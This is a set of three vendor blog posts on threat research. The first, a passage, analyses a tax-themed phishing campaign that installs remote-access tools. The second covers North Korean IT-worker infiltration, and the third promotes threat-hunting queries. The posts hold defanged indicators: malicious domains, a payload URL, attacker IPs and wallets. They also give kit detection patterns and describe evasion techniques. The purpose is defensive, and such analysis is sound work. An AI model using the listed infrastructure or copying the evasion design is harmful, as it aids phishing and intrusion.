The second layer sits in front of payload delivery. The page fingerprints the browser, IP address, and geolocation using FingerprintJS, an hCaptcha challenge, and a “Green Spinner” gate. On some pages, the results are relayed to api.telegram[.]org, allowing the payload to be served only to visitors that pass the checks while filtering out suspected analysis environments.

The PowerShell stage adds timing-based evasion by calling sleep before reaching out for the MSI installer.

HTTP request analysis in ANY.RUN’s Interactive Sandbox made these delivery and evasion flows visible.

Following the network trail revealed a broader, highly distributed infrastructure.

Network Infrastructure

• Delivery infrastructure: The family includes 82 code-identical Vercel apps, each observed for only a single day, alongside GitHub Pages, Netlify, compromised legitimate websites, and throwaway domains. Vercel is particularly useful to the operator because each new deployment inherits valid TLS and domain reputation.

• Payload staging: RMM installers are staged across rotating infrastructure, including Amazon S3, Cloudflare R2, GitHub, DigitalOcean Spaces, gofile[.]io, Dropbox, compromised sites, and raw-IP hosts.

• RMM infrastructure: The remote-access product is interchangeable. At least five legitimate RMM products have appeared across the family, while the delivery chain remains largely unchanged.

The evidence behind each product is uneven, which bounds what any per-product signature can cover:

Those measured artifacts cover the GoTo and LogMeIn slot only.

The RMM stage is the thinnest layer of evidence in the chain: 20 of the 137 arm cases are observed fetching the MSI, while the rest stop at the password-protected archive, and the same MSI appears in 150 cases index-wide, so it is staged across delivery arms beyond this kit.

Neither the staging host nor the RMM backend identifies the operator. The MSI sits on shared, abused cloud storage, and the backend is each vendor’s own infrastructure, so neither layer establishes that one operator is behind all of it. The delivery kit’s handwriting is what ties the activity together.

The fact that the product in the RMM slot changes between arms is another reason why this slot is the weakest layer for building a durable signature.

Cluster Expansion

The CRA/T4 arm is one part of a broader delivery framework whose document themes, domains, and RMM payloads change while the underlying kit remains stable. The shared fmtt web font (img/font1.woff2) provides a particularly strong pivot into that wider activity.

To determine whether this is a shared phishing-as-a-service kit with several affiliates, we can use Threat Intelligence Lookup for cluster expansion:

url:”*img/font1.woff2″ OR url:”*/icons8-microsoft-word-94.png” OR SHA256:”51f0cc172ced2e90acbc01c2872c697644380e597076350a6b286c96ab7ccb42″

The query returns 601 analysis cases across the three indicators (at the time of writing). The font alone links 425 distinct kit URLs across 240 hosts and 155 IPs between February 5 and July 29, 2026, exposing activity well beyond the CRA/T4 arm.

The same fingerprint produced no matches across roughly 46,000 cases from ten unrelated malware families, supporting its use as an operation-specific marker rather than a generic web artifact.

Infrastructure Footprint

The font1.woff2 query provides a direct measure of the family’s delivery infrastructure. Across 174 days, it identified 425 distinct kit URLs on 240 hosts resolving to 155 IPs.

The hosting breakdown shows how this infrastructure is distributed across different host types:

Push-button deployment platforms account for 83 of the 240 hosts, with Vercel supplying 82 of them. Every Vercel app was observed on exactly one day with exactly one kit URL and was never reused, indicating a one-app-per-lure deployment model that makes domain-level blocking quickly obsolete.

New hosts appear at a steady clip, while Vercel deployments arrive in bursts — 23 new apps in March, at the height of Canadian T4 season, and 20 more in July:

The infrastructure also splits into two distinct URL patterns. All 83 Vercel and Netlify apps serve the kit directly from /img/font1.woff2, while 110 other hosts use per-recipient paths in the form /ftx/<slug>-<epoch>-<hex>/.

The embedded Unix timestamps reveal the campaign’s operational tempo: the median link was first observed just 32 minutes after generation, and 77% within 24 hours. This strongly suggests that links are generated per recipient and used almost immediately.

Reputation follows the same divide. Of 425 URLs, 23 were already rated malicious when observed, all hosted on cheap-TLD throwaway domains. None were Vercel apps, suggesting that the platform provides the clean domain reputation the operator’s own disposable domains lack.

Conclusion

This analysis uncovered a 46-country, US-first campaign that abuses legitimate RMM software while rapidly rotating domains, lures, and remote-access products. The more durable detection opportunity lies in the delivery framework: recurring kit patterns and unsolicited RMM installation rather than individual IOCs or product names.

Using ANY.RUN’s Interactive Sandbox, we exposed the full attack chain, from browser activity and redirects to scripts, processes, and network traffic. Threat Intelligence Lookup then turned persistent indicators into pivots for uncovering related infrastructure and expanding the investigation across the wider campaign.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions to more than 16,000 organizations and 700,000 security professionals worldwide.

Its Interactive Sandbox helps SOC teams, MSSPs, and threat researchers investigate malware, suspicious files, and URLs in controlled virtual environments. Analysts can observe execution chains, inspect network activity, and uncover malicious behavior in real time to make faster, more confident decisions.

ANY.RUN Threat Intelligence turns data from real-world investigations into actionable threat intelligence, helping security teams enrich alerts, uncover related infrastructure, investigate campaigns, and track evolving threats.

TTPs

IOCs

All indicators are defanged.

Kit handwriting (detection patterns):

– */secure.html on host *.vercel[.]app

– */project/*.zip on host *.vercel[.]app

– *img/font1.woff2 — the family-wide font pivot (425 URLs / 240 hosts)

– Per-recipient path pattern /ftx/<6-char slug>-<10-digit epoch>-<12-hex>/ on non-platform hosts (289 URLs / 110 hosts); the epoch field dates the link’s generation

– DOM: font-family:’fmtt’ + img/font1.woff2 + alt=’PDF Icon’ + “Access code is” text

Lure deployments (representative; 82 Vercel apps observed in total):

– fillingconfirmation[.]vercel[.]app

– sharedconfirmationslip[.]vercel[.]app

– officialsummarybycra[.]vercel[.]app

– 2026t4form17718[.]vercel[.]app

– crataxsummary1007341[.]vercel[.]app

– statemendetailsfilessenderderf[.]netlify[.]app

Throwaway domains carrying a malicious verdict at observation:

– quavix[.]vu

– cevora[.]vu

– xorlira[.]vu

– voretix[.]icu

– wurel[.]sbs

– mornixa[.]cfd

– getdl[.]jorix[.]cyou

– pdfmarchlitestatementsscannedforyou[.]gixar[.]sbs

– reportstastementformarchreviewyourssaast[.]harnivo[.]cfd

Dynamic-DNS kit hosts (attacker-controlled subdomains of legitimate DDNS providers — block the host, not the provider):

– 54511[.]ddnsking[.]com

– dxy43[.]ddnsking[.]com

– dyb32[.]ddnsking[.]com

– 67pon[.]swoop2[.]me

– dcsi23[.]swoop2[.]me

– ssi11[.]letsgo2[.]me

– ddn3[.]net2me[.]me

Captured RMM MSI: – hxxps://commonerdays[.]vercel[.]app/LogMeInResolve_Unattended.msi

Payload staging (attacker-controlled buckets):

– mayteslaadvisorhq[.]s3[.]us-east-2[.]amazonaws[.]com

– openfodervbs4view[.]ams3[.]cdn[.]digitaloceanspaces[.]com

Durable origin IP:

– 46.62.197[.]232:7000

Compromised legitimate sites (kit path only):

– hiltonheadislanddeals[.]com

– gonzalezjaramilloabogados[.]com

– mybcdc[.]ca

– taurusburgerco[.]com[.]au

– ypatellawoffice[.]ca

– electrical-sei[.]com

– herculescalgarymovers[.]ca

– quantechitsolutions[.]com

Kit page content hashes (SHA256):

– 41b731279b1778a9f578e4ed2589f46c4bef32793b292862cf96279a3ead1c41 (lure index page)

– 132d864bb199105d639edb115249302243eafdb0fc21efb86cc6b6c0d49866f0 (secure.html gate page)

– 51f0cc172ced2e90acbc01c2872c697644380e597076350a6b286c96ab7ccb42 (icons8-microsoft-word-94.png asset)

Sources

• Cloudflare Cloudforce One — Vercel-hosted RMM abuse campaign evolves with Telegram C2 for victim filtering — https://www.cloudflare.com/cloudforce-one/research/report/vercel-hosted-rmm-abuse-campaign-evolves-with-telegram-c2-for-victim-filtering/

• Kaseya / INKY — The Vercel incident and the phishing campaigns already hiding in plain sight — https://www.kaseya.com/blog/phishing-campaigns-abusing-vercels-free-hosting-platform/

• CyberArmor — Cybercriminals Abusing Vercel to Deliver Remote Access Malware — https://www.cyberarmor.tech/blog/threat-insight-cybercriminals-abusing-vercel-to-deliver-remote-access-malware

• Red Canary — The dual-use dilemma: Rethinking detection for remote access tool abuse — https://redcanary.com/blog/security-operations/rmm-detection/

• Broadcom / Symantec — RMM Abuse Continues: Malicious LogMeIn Resolve Activity on the Rise — https://www.broadcom.com/support/security-center/protection-bulletin/rmm-abuse-continues-malicious-logmein-resolve-activity-on-the-rise

• Canada Revenue Agency — Recognize a scam — https://www.canada.ca/en/revenue-agency/corporate/scams-fraud/recognize-scam.html

The post A Single Canadian Tax Lure Spread into a 46-Country, US-First RMM Campaign appeared first on ANY.RUN's Cybersecurity Blog.

Recent investigations highlight that this scheme is no longer limited to the private sector, posing a direct threat to government agencies.

Here’s how organizations can defend against this threat effectively.

The Escalating Risk of the DPRK Remote Worker Threat

The primary objective of the DPRK IT worker scheme operated by the Lazarus APT has historically been revenue generation, collectively earning hundreds of millions of dollars annually for the DPRK. However, the threat has escalated from financial fraud to a direct national security concern as these operatives penetrate the U.S. public sector.

The FBI is currently investigating a recent case where an unidentified U.S. federal agency unknowingly hired a North Korean remote IT worker. Last year, an individual who facilitated a North Korean national’s work on software development contracts for the Federal Aviation Administration (FAA) received a prison sentence. Such breaches grant unauthorized actors access to sensitive government systems and proprietary data.

The full lifecycle, tools, and operational methods of these infiltrators were exposed in a comprehensive two-part joint investigation conducted by BCA LTD, NorthScan, and ANY.RUN.

• In Part 1, researchers gained unprecedented access by posing as facilitators, deploying custom ANY.RUN sandbox environments disguised as developer laptops to record every click, command, and network connection executed by the operatives in real time.
• In Part 2, the team went a step further by establishing a simulated Web3 startup, tracking how Famous Chollima operatives collaborate, manage candidate pipelines, share infrastructure, and attempt to embed whole networks of “ghost developers” into target companies.

How DPRK IT worker scheme Operatives Hijack the Personnel Supply Chain

As demonstrated in the investigations, threat actors combine stolen identities and artificial intelligence to infiltrate organizations.

Watch the video on YouTube and read the full investigation

Security experts describe this phenomenon as a critical risk within the personnel supply chain. While companies traditionally focus on defending against external attackers, the North Korean IT worker fraud flips this model by getting hired.

A DPRK IT worker functions as a “Trojan horse,” obtaining legitimate credentials, access to internal networks, and corporate resources. This creates a unique insider threat:

• Persistent Access to Critical Infrastructure: Unlike traditional cyberattacks that are brief and noisy, an employee is expected to remain in the system, allowing months or years of continuous access to source code and intellectual property.
• Malicious Influence on Decision-Making: Once embedded, operatives can influence critical engineering decisions, review code, and approve pull requests, potentially introducing intentional vulnerabilities.
• Legitimate Cover: By maintaining a facade of productivity, operatives generate legitimate salaries while gathering intelligence and staging future cyberattacks.

Actionable Steps for SOCs to Detect North Korea Remote IT Workers Infiltration Early

Standard background checks, especially automated ones, are insufficient to ensure DPRK IT worker detection.

Defending against this requires SOC and recruitment teams to adopt a technical vetting model that treats hiring as an attack vector.

Spot Mass Outreach and GitHub Exploitation Tactics

The initial stage of the North Korean scheme often begins with wide-scale recruitment efforts targeting developers on platforms like Telegram and GitHub.

A highly specific tactic involves recruiters spamming GitHub repositories with fraudulent job offers. These messages are often delivered as pull requests directly on a developer’s own repositories, making them difficult to ignore.

Recruiters seek individuals who appear to have experience working with US companies, offering them “partnerships” where they can increase their income by attending interviews on behalf of the operative.

Eliminate Rogue Team Leads from the Hiring Process

Famous Chollima operations often rely on a key team lead (a “horse trader” or agency manager) who acts as the primary point of contact to build trust and scale their footprint inside targeted organizations:

• Beware of “Bring Your Own Team” Offers: A single lead will apply for or land a role, establish rapport with hiring managers, and then offer to recruit, manage, or refer additional developers. Under the guise of a turnkey contracting team, this facilitator brings in multiple North Korean operatives using fake or stolen identities.
• Enforce Direct, Individual Vetting: Never permit a single contractor, agency manager, or team lead to bypass individual KYC/background checks for their referred developers. Every individual applicant must undergo separate, direct identity verification and technical assessment.

Safely Triage Applicant Files and Links with a Sandbox

Your Security Operations Center (SOC) must actively participate in the vetting process by validating suspicious candidate deliverables before finalizing a hire.

Applicants routinely submit portfolios, code archives, or external links during technical assessments. Opening these directly on internal corporate workstations exposes the network to staging malware (such as OtterCookie, InvisibleFerret, and PyLangGhost RAT).

Integrating ANY.RUN’s Interactive Sandbox into the technical vetting and SOC triage and response workflows provides critical security value and operational efficiency:

• Uncover Evasive Phishing & Malware in under 60 seconds: Automated tools often miss stealthy malware that requires human interaction. ANY.RUN allows analysts to actively interact with the candidate’s files and URLs in real time, clicking links and triggering behaviors that reveal hidden payloads.
• Ensure Early-Stage Attack Vector Neutralization: Proactive analysis of suspicious objects sent by candidates enables SOC teams to identify malicious intent early and prevent threat actors from ever obtaining legitimate corporate credentials, company laptops, or access to sensitive infrastructure.

Inspect Applicant Documents for AI Artifacts and Forensic Inconsistencies

North Korean operatives frequently submit manipulated identity documents containing digital creation fingerprints.

Investigations show forged licenses often contain metadata proving processing via AI tools like Google Gemini, or feature embedded SynthID watermarks.

Analyze candidate data for geographic discrepancies (e.g., claiming residence in Texas while presenting a California driver’s license and a New York bank account). Forensic analysis often reveals stolen authentic photos re-used across multiple applications.

Monitor for AI-Assisted and Suspicious Live Behavior

Apart from North Korean IT worker AI-generated personas, operatives rely heavily on live translation and dynamic AI prompt generators.

Watch the video on YouTube and read the full investigation

Watch for off-screen glances, unusual delays before answering technical queries, or physical distractions. In recorded instances, operatives faked medical emergencies or prolonged coughing fits to avoid speaking when translation tools failed.

Trace Mule Accounts and Cryptocurrency Infrastructure

Salary exfiltration relies on complex networks of mule accounts, payment intermediaries, and digital wallets designed to route funds back to the DPRK.

Always verify that the account holder’s name on banking or crypto payment details matches the verified candidate’s identity. Operatives frequently request payroll transfers to third-party accounts, domestic facilitators, or mule accounts tied to stolen Social Security Numbers (SSNs) and completely different names.

To bypass traditional banking compliance and international sanctions, operatives push to receive compensation or transfer funds through non-custodial wallets or exchange wallets on platforms.

Analyze Network Markers: Proxies, VPNs, and Jump Boxes

To maintain the illusion of being local U.S. residents, North Korean IT worker tactics involve multi-layered networking designed to hide their origin.

During the BCA LTD, NorthScan, and ANY.RUN investigation, researchers successfully exposed operatives’ true locations by asking candidates to scan a QR code during a live interview to access a coding test. Embedded Canary Tokens silently recorded the candidates’ actual IP addresses, User-Agents, and geolocation data, completely bypassing active VPNs like AstrillVPN.

SOC and recruiting teams should closely monitor candidate connectivity and verify real network locations wherever possible:

• Track network telemetry, User-Agent strings, and IP locations during video calls, technical assignments, or onboarding tasks to flag proxies and VPN exit nodes.
• Enforce strict policies against commercial VPN services (e.g., AstrillVPN) commonly used by Famous Chollima operatives to spoof major U.S. exit nodes.

DPRK IT Worker IOCs

• IPv4: 89[.]187[.]185[.]11 // DPRK-operated VPS
• IPv4: 45[.]77[.]71[.]42 // DPRK-operated VPS
• IPv4: 185[.]152[.]67[.]39 // DPRK-operated VPS
• IPv4: 104[.]250[.]148[.]58 // AstrillVPN exit node
• IPv4: 192[.]200[.]115[.]226 // AstrillVPN exit node
• IPv4: 107[.]150[.]38[.]250 // AstrillVPN exit node
• IPv4: 206[.]217[.]134[.]34 // AstrillVPN exit node
• IPv4:199[.]168[.]112[.]175 // AstrillVPN exit node
• 0x8953B9661339a48f4E6408aA1B359CD49F3A6CAd
• 0xA3D6938f152C47A411263573Bb3AF324C25A8eba
• 0xB26A7C7EA6D75956EbD8c5D294524903b1cf13D0

Keep Defenses Updated with Fresh Threat Intelligence

While North Korean IT worker schemes primarily rely on identity fraud and social engineering, their operations heavily overlap with broader state-sponsored campaigns run by North Korean APT groups (such as Lazarus / Famous Chollima).

Threat actors routinely reuse command-and-control (C2) infrastructure, staging servers, malware delivery domains, and phishing URLs across both cyber espionage and remote worker infiltration schemes.

SOC analysts can collect context on indicators from alerts like URLs, file hashes, mutexes, or proactively gather actionable intel on active threats using ANY.RUN’s Threat Intelligence Lookup.

Powered by real-time telemetry contributed by over 16,000 organizations and 700,000 security professionals worldwide, TI Lookup instantly cross-references indicators against known Lazarus/Famous Chollima malware samples (such as BeaverTail or InvisibleFerret), phishing infrastructure, and active C2 servers.

For example, running a query like threatName:”lazarus” reveals numerous indicators belonging to the latest malware campaigns run by Lazarus like TigerRAT and others. SOC teams can use these indicators to enrich their defense systems to identify attacks early and prevent an incident.

Security teams can also ingest continuously updated Threat Intelligence Feeds directly into their SIEM, EDR, and perimeter firewalls. By feeding real-time network indicators (IPs, domains, URLs) gathered from global investigations directly into your security stack, your SOC can automatically block malicious connections and prevent unauthorized data exfiltration.

Conclusion

The North Korean IT worker scheme represents a unique hybrid threat, combining traditional human infiltration, social engineering, identity fraud, and software supply chain risk. Defensive strategies that focus strictly on traditional malware detection are insufficient when an attacker holds valid credentials, corporate devices, and a legitimate seat on your engineering team.

Protecting your organization requires aligning HR, recruiting, and SOC workflows. By enforcing strict identity verification, monitoring candidate connection telemetry, running interactive file/link sandboxing during technical assessments, and feeding real-time Threat Intelligence into your security stack, companies and government agencies can stop Famous Chollima operatives before they gain a permanent foothold.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions, trusted by more than 16,000 organizations and over 700,000 security professionals worldwide.

Its Interactive Sandbox enables SOC teams, MSSPs, and threat researchers to analyze malware, suspicious files, URLs, and candidate deliverables in controlled, live virtual environments. By offering full behavioral visibility in under 60 seconds, ANY.RUN helps analysts observe execution chains, capture network traffic, and make fast, confident response decisions.

Additionally, ANY.RUN Threat Intelligence aggregates real-time indicators from global investigations. This allows security teams to enrich local SIEM/EDR alerts, uncover shared adversary infrastructure, and stay ahead of evolving APT tactics, phishing campaigns, and insider threat schemes.

Frequently Asked Questions (FAQ)

The post North Korean IT Workers Scheme: Detection IOCs and Tactics for Government and Corporate SOCs appeared first on ANY.RUN's Cybersecurity Blog.

ANY.RUN Threat Intelligence has the answer.

Threat Intelligence: Thinking Ahead

It doesn’t take much to start a threat hunt. One suspicious indicator or an artifact – and the investigation is launched. But moving from the initial lead to realizing how it can be used to support malware & phishing defenses is often a long journey. Threat Intelligence Lookup changes that.

It’s designed to shorten the path from a suspicious signal to validated findings, ready to be used for proactive security: from testing a hunting hypothesis and uncovering related infrastructure to expanding detection coverage.

ANY.RUN gives threat hunters access to intelligence grounded in real-world threat data from investigations by 16,000+ SOC teams within a single environment, allowing you to:

• search for known observables

• investigate related technical context

• examine malicious behavior and infrastructure

• narrow the results to the evidence relevant to your hunt

Doing this manually across disconnected sources would stretch every step of the investigation, making it easier to miss useful relationships. One day, this might mean missing a critical risk.

To prevent that, ANY.RUN Threat Intelligence helps security teams:

• Investigate threats faster: Move from an initial indicator to relevant context without spending as much time manually correlating fragmented data.

• Build stronger hunting hypotheses: Use behavioral, network, and infrastructure intelligence to validate assumptions and identify additional leads.

• Collect actionable observables: Identify relevant IOCs for retrospective hunting, blocking, enrichment, and further investigation in SIEM, NDR, and other security systems.

• Improve detection coverage: Turn investigation findings into inputs that Detection & Security Engineering teams can use to develop or expand detections.

• Streamline threat hunting workflows: Reduce reliance on individual analysts manually piecing together threat context, helping SOC teams make investigations and handoffs more consistent.

For threat hunters, that means less time assembling context and more time testing hypotheses and uncovering malicious activity. For CISOs and SOC leaders, it means a more repeatable process for turning threat intelligence into security outcomes, from investigation and escalation to detection and response.

The value of threat intelligence is in how quickly your team can turn indicators into evidence, decisions, and better protection.

What does that look like in an actual investigation?

Use Case #1. Finding Infrastructure Shared by Threats

You’ve identified a threat relevant to your organization and are approaching the final stage of the investigation: turning the findings into a set of actionable indicators that can be handed off to the detection & security engineering team.

For that, you need to identify IP addresses and domains associated with VPS or hosting providers that also have a negative reputation. These observables can reveal infrastructure used to support malicious activity and provide additional coverage beyond the indicators that initially led to the threat.

Start with a known threat

Build a query in Threat Intelligence Lookup using a wildcard (*) to capture variations in Suricata messages and find URL activity related to Tycoon2FA without relying on an exact message string:

suricataMessage:”tycoon*url”

View Connections tab listing all related domains, IPs, and URLs. It helps you realize which indicators are connected to each other:

Connections show observable relationships in ANY.RUN data to help you build and validate a hypothesis. Threat Intelligence Lookup

Narrow down the relevant observables

Whitelisted indicators are hidden by default, so the data you see is already pre-filtered to help you maintain focus on more relevant connections. Additionally, you can apply the Malicious filter and export the results as JSON.

Check the underlying infrastructure

If a URL is malicious, but its IP appears benign, this probably means that a shared infrastructure is being used, such as a CDN or reverse proxy. For example:

Cloudflare AS13335 — Captcha Reverse Proxy / Gateway

https://ipinfo[.]io/188[.]114[.]97[.]3

If both the URL and IP are marked malicious, this most likely points to VPS or hosting infrastructure used by threat actors, for example:

HostPapa AS36352 — VPS Service

https://ipinfo[.]io/23[.]94[.]153[.]149

Put the findings to work

The resulting IOC set can be now used for retrospective hunting in SIEM/NDR to identify previous activity involving the same infrastructure, as well as for blocking on perimeter firewalls to reduce the risk of further communication with known suspicious infrastructure.

Use Case #2. Validating Threat Hunting Hypotheses

While working with a TI Report or an Interactive Sandbox analysis session, you notice that after downloading the payload, the malware established a C2 connection over the non-standard port 1337. Based on that, you come up with a hypothesis: all samples with similar behavior may be tied to common infrastructure.

To confirm or disprove this hypothesis, you need to start with a Threat Intelligence Lookup query for the observed behavior, in this case, MITRE T1105 and destination port 1337.

You can use AI-powered search and just list the desired TTP and port number without using proper syntax:

MITRE:”T1105″ AND destinationPort:”1337″

Explore the related infrastructure

In Connections, you can see the number of unique addresses, their reputation, geographic context (in CN tab marking the country of submission), and potential C2 infrastructure:

To confirm or disprove the hypothesis, all you need to do is collect network IOCs and check them in your corporate SIEM. From the results, you can make an evidence-based conclusion.

Pivot to Interactive Sandboxing

To further validate your hypothesis, open the Analyses tab and review related sandbox sessions. Select a sample to see how the attack unfolds and compare its behavior with the activity you initially observed.

One of the samples in our TI Lookup results leads to a Sandbox analysis of a malicious script delivered via a user-opened ZIP file. Here, we can see the attack unfold — from scheduled-task persistence to system enumeration and potential data exfiltration.

View analysis

Submitting your findings

If your hypothesis was confirmed, pass the findings and context to the detection & security engineering team to create new detection rules. They will contribute to your organization’s proactive security posture.

Use Case #3. Reverse URL Search Across Domain Patterns

We investigate phishing campaigns. We’re particularly interested in domains related to brands, CTAs, and social engineering elements.

When investigating phishing campaigns, you may need to find domains related to brands, CTAs, and social engineering elements.

You also need to enrich them with context to understand which URLs were observed, which IPs they resolved to, their reputation, and finally, which IOCs can be used to expand detection coverage.

This may sound like a lot, but with TI Lookup, this can be done fast.

Build a query for the required threat, for example, DocuSign-related activity:

domainName:”docusign*share”

And you can check the dedicated Domains, URLs, and IPs tabs to explore related observables.

To see connections between them, click Show relations for a full breakdown:

This significantly accelerates the search and analysis of related IOCs by bringing the relevant network context into a single workflow.
Use the relevant IOCs to expand detection coverage and support further investigation of the phishing campaign.

Use Case #4. For DFIR Analysts: Gathering C2 Infrastructure of Mirai

The alert triage team has passed you a confirmed incident related to Mirai. Your goal is to collect additional IOCs, find related URLs and IPs, and determine the scale of the threat.

Once again, you start the investigation with what’s known. Browse the confirmed threat in TI Lookup to find relevant threat intelligence and associated infrastructure:

threatName:”^mirai$”

Narrow down the result by applying the Malicious filter:

Collect the clean list of observables, including related URLs and IP addresses, and export the results:

Pass the resulting IOC set to the detection & security engineering team for retrospective hunting and to expand threat detection coverage.

The team now has all data needed to update playbooks and detection rules based on collective threat intelligence from 16K+ SOC teams.

Operational Impact for Security Teams

• Reduce manual investigation effort by spending less time switching between sources and correlating network infrastructure data.

• Move faster from intelligence to action by turning TI findings into observables ready for retrospective hunting, blocking, or handoff to detection & security engineering.

• Make investigations more consistent and repeatable by bringing relationships, reputation data, and filtering into a unified workflow with exportable results.

• Streamline cross-team handoffs by reducing the need to recollect and repackage data between threat hunting, DFIR, and detection engineering teams.

• Increase team throughput by enabling analysts to handle more investigations without a proportional increase in manual effort.

Conclusion

Effective threat intelligence and proactive threat hunting are about turning threat data into action. With ANY.RUN Threat Intelligence, security teams can investigate malware and phishing activity, validatehunting hypotheses, uncover related infrastructure, collect actionable IOCs, and use those findings to strengthen detection and response.

About ANY.RUN

ANY.RUN fits into modern SOC workflows, integrating with existing security processes and supporting operations across teams. This includes safely detonating files and URLs to expose malicious behavior, enriching investigations with broader threat intelligence, and applying continuously updated intelligence to support faster, more informed decisions.

Today, more than 700,000 security professionals and 16,000 organizations use ANY.RUN to accelerate investigations, reduce unnecessary escalations, and strengthen their defenses against evolving malware and phishing threats.

For the latest threat research, real-world attack analysis, and investigation insights, follow ANY.RUN on LinkedIn and X.

FAQ

The post Hunt Malware & Phishing Threats with ANY.RUN for Proactive Enterprise Security appeared first on ANY.RUN's Cybersecurity Blog.